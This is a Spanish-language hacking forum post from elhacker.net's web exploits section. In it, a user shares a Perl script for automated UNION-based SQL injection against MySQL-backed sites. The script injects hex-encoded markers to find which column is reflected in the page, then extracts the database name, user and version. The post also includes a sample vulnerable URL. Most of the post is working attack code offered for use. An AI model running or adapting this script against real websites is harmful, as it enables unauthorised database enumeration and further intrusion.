elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  DataExtract database(),user(),version() By OzX
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: DataExtract database(),user(),version() By OzX  (Leído 2,266 veces)
OzX


Desconectado Desconectado

Mensajes: 406

[NuKe] Team


Ver Perfil WWW
DataExtract database(),user(),version() By OzX
« en: 28 Septiembre 2008, 01:06 am »

Hi.
Lo que hace es Extraer la Informacion de database(), user(), y version() de la mysql, sin la nececidad de indicar en que parte mostrar los datos.

En realidad es una Funcion de una Tool para Injecciones SQL que estoy haciendo, y me parecio interesante compartirla.

Comunmente, en las tools de SQL, se tiene que indicar en donde injectar la Informacion por Ej.

.../noticias.php?id=1+and+1=0+1,2,3,4,AQUI,5,6,7

Lo cual este Script Hace, es encontrar ese "numero" de los campos, automaticamente para luego buscar la informacion.

SAludos¡



Código:
use LWP::UserAgent;

use HTTP::Request::Common;

#by OzX [NuKe/NB/UnderSecurity]
#DataExtract
#Extrator de Informacion Desde la Base de Datos, Usuario, BD, y Version.
$browser = LWP::UserAgent->new();

$browser->timeout(10);

$browser->default_header(

"User-Agent" => "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1",

"Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",

"Accept-Language" => "es-es,es;q=0.8,en-us;q=0.5,en;q=0.3",

"Referer" => "http://www.google.com"

);


use constant URL => $ARGV[0]; #Constante URL.

unless ($ARGV[0]) {
print "Coded By OzX\n Extractor de Informacion database(),User(),version(), Para Mysql\n";
print "Uso Ejemplo : Script.pl www.google.com/noticias?id=15+and+1=0+1,2,3,4,5,6,7,8--\n";
print "\n";
   exit 0;
}

($uri,$sql_num) = URL =~ m{(.*)\+(.*)$}g; #Obtener Valores 1,2,3,4,5..
($db,$user,$version) = detalles_bd($sql_num);


print "[+] Nombre BD : > $db\n[+] Usuario BD : > $user\n[+] Verion BD : > $version\n";


#Funcion Que Obtiene la Informacion de la Base de Datos
sub detalles_bd{
$_[0] = sql_num($sql_num);
$vars = numero($sql_num);
$string_datos_db = 'concat(0x55534e42,database(),0x3A,user(),0x3A,version(),0x55534e42)';
$sql_num =~s/$vars/$string_datos_db/;
$url = $uri."+".$sql_num;
$source = GETS($url);
($db,$user,$version) = $source =~ m{USNB(.*):(.*):(.*)USNB}g;
return ($db,$user,$version);
}

#Funcion para Evitar Problemas XD¡.
sub sql_num{
$num_total = split(",",$_[0]);
for ($x=1;$x<=$num_total;$x++){
$sql_num_correcto = $sql_num_correcto."$x,";
}
chop($sql_num_correcto);
return $sql_num_correcto;
}

#Funcion para Obtener los Numeros De la Inyeccion Base
sub numero{
local $sql_num = $_[0];
$sql_num = split(",",$sql_num); #Total de Valores, Sin Importar si Empieza de 0.
for ($x=1;$x<=$sql_num;$x++){
$url_hex = $url_hex.hex_sql("USNB$x").",";
}
chop($url_hex); #Eliminamos la Ultima ,
$url_inject = $uri."+".$url_hex."--"; #FORMAMOS LA URL
$source_url_hex = GETS($url_inject);#SOURCE
( @match_USNB) = $source_url_hex =~ m{USNB(\d+)}g; #ENCONTRAMOS VALORES
$vars =  @match_USNB[int(rand( @match_USNB))]; #Eligimos 1 al azar $$
return $vars;
}

#Funcion GETS
sub GETS{
return  $browser->request(GET $_[0])->content;
}
#Funcion Hex_SQL
sub hex_sql($) {
(my $str = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;return "0x$str";
}


En línea

Undersecurity.net
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Database user sistema4_root must have SELECT permission
Bases de Datos
Graphixx 0 1,863 Último mensaje 31 Enero 2012, 21:36 pm
por Graphixx
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines